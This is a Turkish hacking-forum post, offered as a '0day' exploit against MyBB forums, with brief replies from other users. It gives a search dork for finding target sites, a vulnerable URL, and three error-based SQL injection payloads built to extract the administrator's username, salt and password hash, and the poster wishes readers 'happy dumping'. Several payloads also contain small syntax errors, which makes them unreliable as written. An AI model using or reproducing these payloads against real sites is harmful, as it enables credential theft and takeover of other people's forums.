0day açigi exploiti :)

İşe gitmeden önce bise paylasim öyle gidim dedim

dork:intext:"Users subscribed to" inurl:member.php

kullanımı:
site.com/xmlhttp.do=inforum&listforumid=inforum&listforum=1,2)

SQL injection exploits:

Username Bulmak İçin :
and(select 1 from(select count(*)concat((select username from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

SALT: and(select 1 from(select count(+),concat((select salt from mybb_users where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

Password Bulmak İçin: and(select 1 from(select count(*)concat((select password from mybb_user where uid=1),floor(Rand(0)*2))a from information_schema.tables group by a)b)-- -

hayırlı işler bol çekişler

0day eve gecince bi bakalım

teşekkürler kanka

Adam Kinik

tesekkurler bakirom

bakalım inceleylim. sağol Eagle.